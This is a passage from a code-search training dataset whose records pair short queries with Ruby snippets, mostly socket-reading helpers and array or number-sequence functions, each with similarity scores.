conn.username, conn.host, conn.port, message.inspect)\n\t\t\t\t\t\tlog_message(log_string)\n\t\t\t\t\t\tprocess_message(message, conn)\n\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\tend",
"def timed_read( length=65535, timeout=def_read_timeout )\n\t\tresult = ''\n\n\t\tbegin\n\t\t\tTimeout.timeout( timeout ) {\n\t\t\t\twhile( true )\n\t\t\t\t\tif( @datagrams.empty? )\n\t\t\t\t\t\tRex::ThreadSafe.sleep( 0.2 )\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tresult = self.read( length )\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t}\n\t\trescue Timeout::Error\n\t\t\tresult = ''\n\t\tend\n\n\t\treturn result\n\tend",
"def fill\n begin\n @buffer << @io.read_nonblock(@buffer_size)\n rescue ::IO::WaitReadable\n IO.select([@io], nil, nil, @read_timeout) ? retry : (raise ::Timeout::Error)\n rescue ::IO::WaitWritable\n IO.select(nil, [@io], nil, @read_timeout) ? retry : (raise ::Timeout::Error)\n end\n end",
"def fill\n begin\n @buffer << @io.read_nonblock(@buffer_size)\n rescue ::IO::WaitReadable\n IO.select([@io], nil, nil, @read_timeout) ? retry : (raise ::Timeout::Error)\n rescue ::IO::WaitWritable\n IO.select(nil, [@io], nil, @read_timeout) ? retry : (raise ::Timeout::Error)\n end\n end",
"def read(&callback)\n reader = read_stream(@stream)\n workers = dispatch_workers(&callback)\n reader.join\n workers.each { |t| t.join }\n :ok\n end",
"def read maxlen = DEFAULT_MAXLEN\n main = Thread.current\n @reader = Thread.new do\n @read_gate.block!\n begin\n _read maxlen\n rescue => e\n main.raise e\n end\n end\n end",
"def reader_ready?\n IO.select([@socket],nil,nil,0) != nil\n end",
"def wait_for_data(timeout)\n return if timeout == -1\n\n ready = false\n begin\n ready = IO.select([self], nil, [self], timeout)\n rescue IOError => exception\n logger.warn \"#read Connection failure while waiting for data: #{exception.class}: #{exception.message}\"\n close if close_on_error\n raise Net::TCPClient::ConnectionFailure.new(\"#{exception.class}: #{exception.message}\", address.to_s, exception)\n rescue Exception\n # Close the connection on any other exception since the connection\n # will now be in an inconsistent state\n close if close_on_error\n raise\n end\n\n unless ready\n close if close_on_error\n logger.warn \"#read Timeout after #{timeout} seconds\"\n raise Net::TCPClient::ReadTimeout.new(\"Timedout after #{timeout} seconds trying to read from #{address}\")\n end\n end",
"def ready_for_read?\n begin\n connected? && IO.select([socket], nil, nil, 0.1)\n rescue Exception\n triggered_close $!.message, :terminated\n raise\n end\n end",
"def readable?\n return false if @socket.closed?\n r,_,_ = Kernel.select([@socket], nil, nil, @timeout) rescue nil\n return !(r.nil? or r.empty?)\n end",
"def _zmq_read\n return unless @socket\n @poller = ::ZMQ::Poller.new\n\n @poller.register_readable @socket\n @poller.register_readable @child\n\n # read on the socket(s) and call the registered reader blocks for every message, always using\n # multipart and converting to ruby strings to avoid ZMQ::Message cleanup issues.\n count = 0\n @running = true\n while @running\n rc = @poller.poll(1)\n unless rc > 0\n sleep 0.01\n next\n end\n\n @poller.readables.each do |sock|\n rc = sock.recv_strings messages=[]\n if rc > -1\n if sock == @socket\n count += 1\n run_readers(messages, self)\n # the main thread can send messages through to be resent or \"exit\" to shut down this thread\n elsif sock == @child\n if messages[0] == \"exit\"\n verbose \"Got exit message. Exiting.\"\n @running = false\n elsif messages[0] == \"subscribe\"\n @socket.setsockopt ::ZMQ::SUBSCRIBE, messages[1]\n else\n @socket.send_strings messages\n end\n else\n raise \"BUG: couldn't match socket to a known socket\"\n end\n\n # stop reading after a set number of messages, regardless of whether there are any more waiting\n break if @limit and count >= @limit\n break unless @running\n else\n @error_count += 1\n break\n end\n end # @poller.readables.each\n\n break if @limit and count >= @limit\n end # while @running\n end",
"def read(length = nil, opts = {})\n synchronize_access {\n begin\n return fd.read_nonblock( length )\n rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK\n return nil if self.close_resource\n # Sleep for a half a second, or until we can read again\n Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 )\n # Decrement the block size to handle full sendQs better\n retry\n rescue ::IOError, ::Errno::EPIPE\n return nil\n end\n }\n end",
"def read( transfer_until: )\n\t\t\tif !@pending_read\n\t\t\t\t@pending_read = true\n\t\t\t\t@transfer_until = transfer_until\n\n\t\t\t\tFiber.schedule do\n\t\t\t\t\tconnect\n\n\t\t\t\t\tbegin\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t# 140 bytes transfer is required to trigger an error in spec \"can cancel a query\", when get_last_error doesn't wait for readability between PQgetResult calls.\n\t\t\t\t\t\t\t# TODO: Make an explicit spec for this case.\n\t\t\t\t\t\t\tread_str = @external_io.read_nonblock(140)\n\t\t\t\t\t\t\tprint_data(\"read-transfer #{read_fds}\", read_str)\n\t\t\t\t\t\t\t@internal_io.write(read_str)\n\t\t\t\t\t\trescue IO::WaitReadable, Errno::EINTR\n\t\t\t\t\t\t\t@external_io.wait_readable\n\t\t\t\t\t\t\tretry\n\t\t\t\t\t\trescue EOFError, Errno::ECONNRESET\n\t\t\t\t\t\t\tputs \"read_eof from #{read_fds}\"\n\t\t\t\t\t\t\t@internal_io.close_write\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend while @transfer_until\n\t\t\t\t\t@pending_read = false\n\t\t\t\tend\n\t\t\telsif transfer_until == :eof\n\t\t\t\t@transfer_until = transfer_until\n\t\t\tend\n\t\tend",
"def run()\n #Keep track of time so the periodic things can be done\n lastTime = Time.now().to_i\n\n while (true)\n selectRes = IO.select([@@socket, $stdin], nil, nil, SELECT_TIMEOUT)\n if (selectRes)\n # Check the read ios\n selectRes[0].each{|ioStream|\n if (ioStream.eof)\n # Got an eof? Stop the thread\n stop()\n return\n end\n\n if (ioStream == @@socket)\n data = ''\n @@lock.synchronize{\n data = @@socket.gets()\n }\n\n InputHandler::queueTask(InputHandler::SERVER_INPUT, data)\n elsif (ioStream == $stdin)\n InputHandler::queueTask(InputHandler::STDIN_INPUT, $stdin.gets())\n else\n # Got some crazy io stream\n log(ERROR, \"Got bad io stream #{ioStream}\")\n end\n }\n end\n\n now = Time.now().to_i\n if (now - lastTime >= SELECT_TIMEOUT)\n #Do periodic stuff\n lastTime = now\n InputHandler::queueTask(InputHandler::PERIODIC_ACTIONS, nil)\n end\n end\n end",
"def drain\n while select([@socket], nil, nil, 0)\n mesg, _, _, _ = @socket.recvmsg\n raise EOFError unless mesg\n end\n end",
"def readData(socket)\n data = socket.read(512)\n if data.nil?\n raise RetryException.new(true), \"transient read error\"\n end\n # .. normal processing\nend",
"def run\n while s = @socket.accept do\n Thread.new do\n begin\n input = s.gets.strip\n result = @backend.process(input)\n if result.ready?\n log \"OK: #{input}\"\n s.puts \"OK\"\n s.puts result.value\n elsif result.error\n log \"ERROR: #{input}: #{result.error}\"\n if result.error.respond_to?(:backtrace)\n result.error.backtrace.each do |line|\n log \"ERROR: #{line}\"\n end\n end\n s.puts \"ERROR\"\n s.puts result.error.to_s\n else\n log \"PENDING: #{input}\"\n s.puts \"PENDING\"\n end\n rescue Errno::EPIPE\n log \"pipe closed\"\n # client closed the socket early\n rescue => e\n puts e\n puts e.backtrace.join(\"\\n\")\n ensure\n s.close\n end\n end\n end\n rescue Errno::EBADF\n # socket got cleaned up, but we're done anyway\n end",
"def run()\n loop do\n s = @sock.gets\n break if s.nil?\n @mutex.synchronize { handle_server_input(s) }\n end\n end",
"def read!(handle, offset, length, &callback)\n wait_for(read(handle, offset, length, &callback), :data)\n end",
"def handle_request\n request = \"\"\n loop do\n begin\n request << @client.readpartial(1024*2)\n msg_request\n break if request.end_with?(\"\\r\\n\\r\\n\")\n rescue Errno::EAGAIN\n # buffer not empty, wait availability\n IO.select([@client], nil, nil)\n retry\n rescue EOFError\n break # all data read\n end\n end\n request\n end",
"def next_line_readable?(socket)\n readfds, writefds, exceptfds = select([socket], nil, nil, 0.1)\n readfds \n end",
"def next_line_readable?(socket)\n readfds, writefds, exceptfds = select([socket], nil, nil, 0.1)\n readfds \n end",
"def call\n 2.times do\n message = try_blocking_receive\n return message unless message.equal?(Undefined)\n end\n fail ProtocolError\n end",
"def sysread(len = 1)\n @sock.sysread(len)\n end",
"def recvfrom_nonblock(*rest) end",
"def recvfrom_nonblock(*rest) end",
"def read_fully(count, timeout = nil)\n return nil if @__bunny_socket_eof_flag__\n\n value = ''\n begin\n loop do\n value << read_nonblock(count - value.bytesize)\n break if value.bytesize >= count\n end\n rescue EOFError => e\n @__bunny_socket_eof_flag__ = true\n rescue OpenSSL::SSL::SSLError => e\n if e.message == \"read would block\"\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n else\n raise e\n end\n rescue *READ_RETRY_EXCEPTION_CLASSES => e\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n end\n value\n end",
"def wait_readable_or_timeout; end",
"def read_nonblock(maxlen=99, buf=\"buffer\") end",
"def read\n # Buffer for holding the received data. With sockets there is no\n # guarantee that you will receive the full message in a single\n # call to recv(). Accordingly, you have to have a buffer that\n # holds the partial data which is appended to on every recv\n # until you have a full message.\n buffer = ''\n #reader = BufferedReader.new(InputStreamReader.new(socket.get_input_stream))\n loop do\n # receive at most 8192 bytes, which is a mostly arbitrary\n # value that should work well\n chunk = socket.get_chunk\n # a zero-length chunk means the connection was closed\n if chunk == nil || chunk == '' || chunk == -1\n puts \"Lost connection\"\n @socket.close\n close\n break\n end\n\n # we use a single \\x000 (i.e., null) as a messag eterminator,\n # so we look for one in the chunk. If there is one, then that\n # gives us a complete message and we can process it. If not,\n # we wait for more data on the socket.\n if chunk == 0\n begin\n msg = YAML.load(buffer)\n rescue ArgumentError\n msg = nil\n puts \"Bad YAML recieved by #{self.class}\"\n end\n handle_msg(msg) if msg\n buffer = ''\n else\n begin\n buffer << chunk\n rescue\n puts $!\n end\n end\n end\n\n # Called when the socket connection is lost.\n def close\n end\n\n # Returns the socket object to be used in other operations. Must\n # be implemented by modules that include Communicator.\n def socket\n throw Exception(\"socket must be implemented\")\n end\n\n # Handles a message that's been received. Must be implemented by\n # moduels that include Communicator.\n def handle_msg msg\n throw Exception(\"handle_msg must be implemented\")\n end\n end",
"def read(serializer)\n return serializer.de(@socket) if @socket\n \n # assert: @socket is still nil, because no connection could be made. \n # Try to make one\n loop do\n try_connect\n return serializer.de(@socket) if @socket\n sleep 0.01\n end\n end",
"def read\n @socket.gets\n end",
"def read(length=4096,buffer='')\n @socket.read(length,buffer)\n end",
"def request(msg, host, port)\n socket = @socket_class.send(:new)\n begin\n socket.send(msg, 0, host, port)\n unless select([socket], nil, nil, TIMEOUT)\n raise \"timeout waiting for #{host}:#{port} data\"\n end\n\n resp = socket.recvfrom(65536)\n write_packet(resp.first) if capture_response\n\n yield(resp, socket)\n ensure\n socket.close\n end\n end",
"def drain\n # while resp = self.read(0.05)\n\n while resp = self.read(0.005) # not sure how low I can go here, this really speeds things up.\n end\n end",
"def thread_read(timeout)\n deadline = Time.now + timeout\n raw_last_sample = nil\n while data = raw_read_new # sync call from bg thread\n raw_last_sample = data\n event :raw_data, data\n # TODO just emit raw_data and convert it to ruby\n # if someone is listening to (see PortProxy)\n event(:data) { [Typelib.to_ruby(data)] }\n break if Time.now > deadline\n end\n raw_last_sample\n end",
"def get\n socket.readline\n end",
"def start_read\n return self if @closed\n error = check_result ::Libuv::Ext.read_start(handle, callback(:on_allocate), callback(:on_read))\n reject(error) if error\n self\n end",
"def handle_connection(socket)\n loop do\n process socket.readpartial(MAXLEN)\n end\n rescue EOFError\n ensure\n socket.close\n end",
"def monitor_thread\n Thread.new do\n begin\n while self.fd\n buff = self.fd.get_once(-1, 1.0)\n next if not buff\n store_data(buff)\n end\n rescue ::Exception => e\n self.monitor_thread_error = e\n end\n end\n end",
"def recvThread (fName, filesize, sock)\n\tcurrentSize = 0\n\t#amount to read\n\tsize = 1024\n\tputs \"Starting to read file data from socket\"\n\trun = 1\n\tFile.open(fName, 'wb') do |file|\n\t\tputs \"File is downloading . . . \"\t\t\n\t\twhile run == 1\n\t\t\tdata = sock.gets\n\t\t\t#for some reason this check is necessary when\n\t\t\t#transferring mp3 files\n\t\t\tif data.class == NilClass\n\t\t\t\trun = 0\n\t\t\t\tnext \n\t\t\tend\n\t\t\tsize = data.size\n\t\t\tcurrentSize += size\n\t\t\t#write data to file\n\t\t\tfile.write(data)\n\t\t\tif currentSize == filesize.to_i\n\t\t\t\trun = 0\n\t\t\tend\n\t\tend\n\t\tputs \" \t\"\n\tend\n\tputs \"End of file download!\"\nend",
"def handle_client(socket)\n # ruby's GC seems to do weird things if we don't assign the thread to a local variable\n @threads << Thread.new do\n begin\n len = \"\"\n # we only read 10 bytes of the length. any request longer than this is invalid\n while len.length <= 10\n c = socket.read(1)\n break if c == ':' # found the terminal, len now has a length in it so read the payload\n len << c\n end\n \n # we should now either have a payload length to get\n payload = socket.read(len.to_i)\n if socket.read(1) == ','\n read_header(socket, payload)\n else\n @log.error(\"Malformed request, does not end with ','\")\n end\n rescue Object\n @log.error(\"Handling client\", $!)\n ensure\n # no matter what we have to put this thread on the bad list\n socket.close if not socket.closed?\n end\n end\n end",
"def receive(maxlen=65536, timeout=1)\n socket.bind(LOCAL_ADDRESS, port)\n if block_given?\n listen(timeout) { yield socket.recvfrom(maxlen) }\n else\n responses = []\n listen(timeout) { responses << socket.recvfrom(maxlen) }\n responses\n end \n end",
"def read_until(timeout=@session.timeout)\n start = Time.now\n loop do\n if block_given?\n result = yield and\n return result\n end\n\n return if @eof_found\n\n # select treats 0 as infinity, so clamp it just above 0\n timeout_remaining = [timeout - (Time.now - start), 0.00001].max\n IO.select([@stream], [], [], timeout_remaining) or\n raise Timeout, \"timeout exceeded\"\n\n read_chunk\n end\n end",
"def read(io, size)\n io.read_nonblock(size)\n rescue IO::WaitReadable\n IO.select([io])\n retry\n rescue EOFError\n nil\n end",
"def sysread(*args)\n\t\tif Fiber.current[:neverblock]\n\t\t\tres = read_neverblock(*args)\r\n else\n res = read_blocking(*args)\r\n end\n\t\tres\r\n end",
"def test_reader_blocking\n rd, wr = IO.pipe\n node_out = nil\n t = Thread.start do\n reader = Nokogiri::XML::Reader(rd, \"UTF-8\")\n reader.each do |node|\n node_out = node\n break\n end\n rd.close\n end\n sleep(0.1) # sleep to make sure the reader will actually block for input\n begin\n wr.puts \"<foo>\"\n wr.puts \"<bar/>\" * 10000\n wr.flush\n rescue Errno::EPIPE # rubocop:disable Lint/SuppressedException\n end\n res = t.join(1) # give the thread a moment to finish\n wr.close\n refute_nil(node_out, \"Didn't read any nodes, exclude the trivial case\")\n refute_nil(res, \"Reader blocks trying to read the entire stream\")\n end",
"def listen\n begin\n while not @s.closed?\n # Wait for up to two minutes for data to be sent,\n # terminating \"listen\" with an error if input times out.\n timeout = 120\n r = IO.select([@s], [], [], timeout)\n return false, \"Went #{timeout} seconds without input\" if r.nil?\n\n # Now process the message\n buf = @s.read(4)\n break if buf.nil? # If read fails, socket have been closed, so stop listening\n msglen = buf.unpack1(\"L>\")\n next if msglen == 0 # Special case for keep alive messages (do nothing)\n type, payload = @s.read(msglen).unpack(\"Ca#{msglen - 1}\")\n case type\n when 0\n self.h_choke()\n when 1\n self.h_unchoke()\n when 2\n self.h_interested()\n when 3\n self.h_not_interested()\n when 4\n index = payload.unpack1(\"L>\")\n self.h_have(index)\n when 5\n self.h_bitfield(payload)\n when 6\n index, offset, length = payload.unpack(\"L>L>L>\")\n self.h_request(index, offset, length)\n when 7\n index, offset, block = payload.unpack(\"L>L>a#{payload.bytesize - 8}\")\n self.h_piece(index, offset, block)\n @uped += block.bytesize\n when 8\n index, offset, length = payload.unpack(\"L>L>L>\")\n self.h_cancel(index, offset, length)\n end # Unknown message types are simply ignored (i.e. 9:Port is ignored because we don't support DHT)\n @msg_count += 1\n end\n rescue\n @dead = true\n @s.close\n self.disconnect()\n end\n end",
"def readchar_nonblock io, &block\n begin\n done = false\n until done do\n ch = io.read_nonblock(1)\n done = block.call(ch)\n end\n rescue IO::WaitReadable\n logger.trace \"got WaitReadable exception\"\n t1 = Time.now\n IO.select([io], [io], [io])\n logger.trace \"got event, waited #{Time.now - t1}\"\n retry\n end\n end",
"def recv_nonblock(*rest) end"
] |
[
"0.71309006",
"0.70741934",
"0.6993665",
"0.69767046",
"0.6951769",
"0.6927007",
"0.68976706",
"0.6877204",
"0.68422115",
"0.675105",
"0.6691335",
"0.6652521",
"0.66467726",
"0.65784806",
"0.6575161",
"0.6571189",
"0.65613854",
"0.65613484",
"0.6512499",
"0.6511758",
"0.64798504",
"0.64786196",
"0.6406118",
"0.6393585",
"0.63926655",
"0.6374727",
"0.6370812",
"0.63441956",
"0.6302048",
"0.629843",
"0.62826806",
"0.6281442",
"0.62727195",
"0.6271095",
"0.62694097",
"0.62488264",
"0.6238394",
"0.62026066",
"0.61908394",
"0.6189865",
"0.61879975",
"0.6171305",
"0.61705965",
"0.61694723",
"0.6133175",
"0.61324",
"0.6106134",
"0.610553",
"0.610043",
"0.6090647",
"0.60572195",
"0.6057128",
"0.6054525",
"0.60435075",
"0.60435075",
"0.6041836",
"0.60318244",
"0.602173",
"0.5993845",
"0.59918535",
"0.5991367",
"0.5986827",
"0.59678715",
"0.59511155",
"0.5945323",
"0.5938473",
"0.5902777",
"0.5872331",
"0.5868386",
"0.5868246",
"0.5864427",
"0.5864089",
"0.5864089",
"0.58638406",
"0.58541006",
"0.58435225",
"0.58435225",
"0.5842367",
"0.5841606",
"0.5821071",
"0.5818016",
"0.5816097",
"0.5814015",
"0.5813559",
"0.5792396",
"0.57915044",
"0.5785962",
"0.57849294",
"0.57833683",
"0.5770026",
"0.5763883",
"0.575478",
"0.5747073",
"0.57376635",
"0.572388",
"0.5723489",
"0.5722428",
"0.57147044",
"0.5714578",
"0.5713933",
"0.57124984"
] |
0.0
|
-1
|
=> [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
|
def combine_names(first, last)
first + ' ' + last
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def given\n [6,5,3,1,8,7,2,3]\nend",
"def sequence(num)\r\n new_arr = []\r\n (1..num).step(1) { |n| new_arr << n }\r\n new_arr\r\nend",
"def sequence(number)\n (1..number).to_a\nend",
"def sequence(number)\n (1..number).to_a\nend",
"def range(start,finish)\n if start == finish\n return [start]\n end\n\n prev_arr = range(start+1, finish)\n prev_arr << start\n return prev_arr\nend",
"def sequence(multiple, starting_num)\n return [] if multiple == 0\n counter = 1\n array = []\n loop do\n array << counter * starting_num\n counter += 1\n break if counter > multiple\n end\n array\nend",
"def sequence(num)\n (1..num).to_a\nend",
"def sequence(num)\n (1..num).to_a\nend",
"def sequence(num)\n (1..num).to_a\nend",
"def slices(n)\n digits.each_cons(n).to_a\n end",
"def last_ids(number)\n (1 + size - number..size).to_a\n end",
"def range(start,final)\n return [] if start >= final\n return [final - 1] if start == final - 1\n\n arr = []\n result = range(start,final-1)\n arr.concat(result)\n arr.push ( final - start )\n arr\nend",
"def linspace(from,step,limit)\n a = []\n from.step(limit,step){|x| a << x}\n a\nend",
"def series_up(n) # given n, return a list that goes [1,1,2,1,2,3... n]\n n_list = []\n (n+1).times do |m|\n m.times do |val|\n n_list.push(val+1)\n end\n end\n return n_list\nend",
"def sequence(integer)\n (1..integer).to_a\nend",
"def sequence(integer)\n (1..integer).to_a\nend",
"def group\n students = (1...59).to_a\n students.each_slice(5).to_a\n\nend",
"def multiples_x(number, multiple)\n current_multiple = multiple\n multiples = []\n\n while current_multiple <= number\n multiples << current_multiple\n current_multiple += multiple\n end\n\n multiples\nend",
"def get_sequence(low, high)\n (low..high).to_a\nend",
"def chunk(array, n)\n \n results = []\n until array.empty?\n results << array.shift(n)\n end\n \n results\n\nend",
"def select_every_n arr, n=1\n ans = []\n arr.each_with_index do |item, i|\n ans.push item if i%n == 0\n end\n ans\nend",
"def sequence(n)\n results = []\n 1.upto(n) {|num| results << num}\n results\nend",
"def collect_multiples(limit)\n #numbers = [1..(limit-1)]\n multiple_numbers = []\n (1..(limit-1)).map do |number|\n if number % 3 == 0 || number % 5 == 0\n multiple_numbers << number\n end\n end\n multiple_numbers\nend",
"def range(start, ending)\n return [] if start >= ending - 1\n # retu_arr = []\n # retu_arr << start + 1\n # retu_arr.concat(range(start+1, ending))\n array = range(start+1, ending)\n array.unshift(start+1)\nend",
"def cracklepop_numbers(from, to)\n (from..to).to_a.map { |n| cracklepop_number(n) }\nend",
"def range(start, finish)\n return [] if start >= finish\n [start + 1] + range(start + 1, finish)\nend",
"def loopy_range(max, step)\n numbers =[]\n for nums in (0..max)\n numbers.push(nums)\n end\n puts \"The end array is #{numbers}\"\nend",
"def repa(array, x)\n result = []\n (1..x).each do\n result.concat(array)\n end\n return result\nend",
"def sequence(count, start)\n final_arr = []\n 1.upto(count) do |num|\n final_arr << num * start\n end\n final_arr\nend",
"def an_array_with_5_elements\n [1, 2, 3, 4, 5]\nend",
"def collect_multiples(limit)\n array = []\n (1...limit).each do |num|\n array << num if (num % 3 == 0) || (num % 5 == 0)\n end\n array\nend",
"def sequence(num)\n 1.downto(num).to_a\nend",
"def sequence(num)\n (1..num).map { |n| n }\nend",
"def series_up(n) # Got help again. My first code couldn't adapt at all. This one has a reset limit, meaning it loops the amount of times it needs to for each interger. Still not perfect, but almost there. \n list = [1]\n i = 1\n length = n*(n+1)/2\n reset = 3\n list.push i\n i += 1\n if i == reset\n reset += 1\n end\n return list\nend",
"def series_up(n)\n list = []\n (n+1).times do |a|\n a.times do |b|\n list.push(b+1)\n end \n end\n return list\nend",
"def sequence(num)\n arr = []\n \n 1.upto(num) do |i|\n arr << i\n end\n\n arr\nend",
"def sequence(count, start_num)\n (1..count).map { |idx| start_num * idx }\nend",
"def sequence(num)\n arr = []\n 1.upto(num) { |n| arr << n }\n arr\nend",
"def sequence(num)\n sequence_arr = []\n 1.upto(num) { |n| sequence_arr << n }\n sequence_arr\nend",
"def sequence(number)\n array_of_numbers = []\n \n 1.upto(number) do |num|\n array_of_numbers << num\n end\n \n array_of_numbers\n \nend",
"def collect_multiples(limit)\n multiples = []\n numbers = (1..limit.to_i-1).to_a\n numbers.each do |i|\n if i % 3 == 0 || i % 5 == 0\n multiples.push(i)\n end\n end\n multiples \nend",
"def getArray(n=3)\n return (1..n).to_a\nend",
"def consecutive(arr)\r\n\r\nend",
"def series_up(nums) \r\n series = 0 # start the list at the right \r\n list = [] # the list is empty at the start \r\n nums.times do |seq| \r\n n = 0 \r\n nums.times do |nums| # run a loop for the sequence \r\n list[n + series] = n + 1 \r\n n += 1 \r\n end \r\n series += seq + 1 # exponential growth \r\nend \r\n return list \r\nend",
"def sequence(count, starting_num)\n result_arr = []\n 1.upto(count) { |num| result_arr << starting_num * num }\n result_arr\nend",
"def sequence(count, first_nb)\n result = []\n count.times { |loop| result << (first_nb * (loop + 1)) }\n result\nend",
"def repeated_number_ranges(arr)\n\n\nend",
"def sequence(num)\n arr = []\n count = 1\n while count <= num\n arr << count\n count += 1\n end\n arr\nend",
"def sequence(count, start)\n (1..count).map { |count| count * start }\nend",
"def multiples_of(number, upTo)\n result = Array.new\n (0..upTo).step(number) do |n|\n result << n\n end\n puts result.inspect\n result\nend",
"def get_gaps (array)\n return [] if array.empty?\n (array.first .. array.last).to_a - array\nend",
"def sequence(num)\n return [] if num < 1\n (1..num).to_a\nend",
"def each_cons list, n\n list.each_cons(n).to_a\nend",
"def sequence(n)\n n < 1 ? (n..0).to_a : (1..n).to_a\nend",
"def all_elements_except_first_3(num_array)\n 3.times {\n num_array.shift\n }\n return num_array\nend",
"def sequence(num)\n (1..num).to_a unless num < 1\nend",
"def sequence(num)\n (1..num).to_a unless num < 1\nend",
"def amicables(limit)\n numbers = Array.new(limit, 0)\n (1...limit).each do |i|\n ((i * 2)...limit).step(i) do |j|\n numbers[j] += i\n end\n end\n result = []\n numbers.each_with_index do |j, i|\n if j < limit && i == numbers[j] && i != j\n result << i\n end\n end\n result\nend",
"def sequence3(number)\n array = []\n 1.upto(number) { |num| array << num }\n array\nend",
"def sequence(num)\n sequence = []\n for nums in 1..num\n sequence << nums\n end\n sequence\nend",
"def sequence(count, start)\n (1..count).map { |i| i * start }\nend",
"def range(start_val, end_val)\n return [] if start_val + 1 == end_val\n nums = [start_val + 1]\n nums + range(start_val + 1, end_val)\nend",
"def groups_of(num)\n collection.each_slice(num).to_a\n end",
"def sequence(count, start_number)\n array = []\n count.times { |i| array << (start_number * (i + 1)) }\n array\nend",
"def sequence2(num)\n arr = []\n \n 1.upto(num) do |n|\n arr << n\n end\n arr\nend",
"def generate_numbers\n\t[rand(1..20), rand(1..20)]\nend",
"def sequence(num)\n result = []\n num.times{|i| result << i + 1}\n result\nend",
"def sequence(count, first)\n (1..count).map { |idx| idx * first }\nend",
"def sequence(number)\n result = []\n 1.upto(number) {|e| result << e}\n result\nend",
"def sequence(num)\n num > 0 ? (1..num).to_a : (num..1).to_a\nend",
"def to_array_with_next(n)\n \tres= [self]\n \t(n - 1).times { |i| res << res[i].next }\n res\n end",
"def range(start, ending)\n return [] if start >= ending\n\n return [start] + range(start + 1, ending)\nend",
"def arr_with_given(array, num)\n array.take(array.length - num)\nend",
"def sequence(count, start)\n return [] if count == 0 \n sequence_array = []\n iterator = 1\n count.times do\n sequence_array << start * iterator \n iterator += 1 \n end \n sequence_array\nend",
"def series_up(num)\n series = 0\n list = [] #starts as empty\n #puts \"running code\"\n num.times do |pattern|\n n = 0#original num\n num.times do |num|\n list[n + series] = n + 1\n n += 1\n end \n series += pattern + 1 \n #makes it grow exponentially\n end\n return list \nend",
"def element_times_index(numbers)\n \n i = 0 # i represents to the index current index always\n \n new_array = []\n \n while i < numbers.length # We cant do less than or equal to here\n \n new_array << numbers[i] * i # You can shovel directly into a new array\n i += 1\n end\n return new_array\nend",
"def sequence(num)\n\n results = []\n\n 1.upto(num) { |num| results << num }\n\n results\n\nend",
"def magic_numbers(count)\n index = 0\n array = []\n found = 0\n while found < count\n if is_magic_number?(index)\n array.push(index)\n found += 1\n end\n index += 1\n end\n return array\nend",
"def every_other\n i = 1\n numbers = []\n 50.times do\n numbers << i\n i+= 2\n end\n return numbers\nend",
"def range(start, finish)\n return [] if finish < start\n return [start] if finish - 1 == start\n range(start, finish - 1) + [finish - 1]\nend",
"def repeated_number_ranges(numbers)\n result = []\n initializer = nil\n i = 0\n while i < numbers.length\n if numbers[i] == numbers[i + 1]\n initializer = i if initializer.nil?\n elsif !initializer.nil?\n result << [initializer, i]\n initializer = nil\n end\n i += 1\n end\n result\nend",
"def smallest_multiple(num)\n x = 2\n arr = []\n while x <= 20\n arr.push(x)\n x += 1\n end\n arr\nend",
"def range(min, max)\n new_arr = []\n\n i = min\n while i <= max\n new_arr << i\n i = i + 1 \n end\n\n return new_arr\nend",
"def series_up(num)\n seq = 0\n list = []\n # list[(num * (num + 1) / 2) - 1] = num wasn't doing anything for me\n num.times do |pat| # I swtiched to num.times because I couldn't do list.each because list is blank\n t = 0\n num.times do |numb|\n list[t + seq] = t + 1 # How it knows where to put what number\n t += 1\n end\n seq += pat + 1 # grows exponentially to make it add a new space every time\n end\n return list\nend",
"def range(min, max)\n all_numbers = []\n \n i = min\n while i <= max\n all_numbers << i\n \n i += 1\n end\n \n return all_numbers\nend",
"def get_all_steps range, step\n values = []\n value = range.first\n while value <= range.last\n values.push value\n value += step\n end\n return values\nend",
"def split(list, n)\n return list[0...n], list[n..-1]\nend",
"def range(start, ending)\n return [] if start >= ending - 1\n retu_arr = range(start, ending - 1)\n retu_arr << ending - 1\nend",
"def sequence(length, step)\n Array.new(length) { |idx| (idx + 1) * step }\nend",
"def example\n display [1, 3, 2, 4, 3, 4, 2 , 4, 1]\n end",
"def numbers\n %w[1 2 3 4 5 6 7 8 9 0\n tenth ninth eighth seventh sixth fifth fourth third second first\n ten nine eight seven six five four three two one ]\n end",
"def range(start_num, end_num)\n range_array = []\n range_array << start_num\n\n if(start_num < end_num)\n range_array += range(start_num + 1, end_num)\n end\n\n range_array\nend",
"def sequence(count, start)\n sequence = []\n current = start\n\n count.times do\n sequence << current\n current += start\n end\n\n sequence\nend",
"def doubler(numbers)\n new_numbers = []\n # numbers.each { |num| new_numbers << num * 2 }\n numbers.each { |num| new_numbers.push(num * 2) }\n new_numbers\nend",
"def range(min, max)\n nums = []\n \n i = min\n while i <= max\n nums << i\n \n i += 1\n end\n \n return nums\nend",
"def straight_values_from(from)\n (from.to_i...from.to_i + 5).to_a\n end",
"def sequence(count, skip)\n result = []\n return result if count.zero?\n count.times do |x|\n result << skip * (x + 1)\n end\n result\nend",
"def sequence(int)\n array = []\n 1.upto(int) do |num|\n array << num\n end\n array\nend",
"def series_up(num)\n size = num*(num+1)/2\n list = [1, 1, 2, 1, 2, 3, 1, 2, 3, 4]\n string = list[0..size-1]\n print string\nend",
"def range(min, max)\n newArray = []\n i = min\n while i <= max\n newArray << i\n \ti += 1 \n end\n return newArray\n\nend",
"def element_times_index(numbers)\n\tmulti = []\n \n\ti = 0\n\twhile i < numbers.length\n\t\titem = numbers[i]*i\n\t\tmulti << item\n\t\ti += 1\n end\n\n\treturn multi\nend"
] |
[
"0.7267974",
"0.65121126",
"0.64591336",
"0.64591336",
"0.64455307",
"0.6391807",
"0.6372647",
"0.6372647",
"0.6372647",
"0.63660204",
"0.63281906",
"0.6308762",
"0.63040966",
"0.62938297",
"0.6276288",
"0.6276288",
"0.6269063",
"0.6250008",
"0.62460184",
"0.6241537",
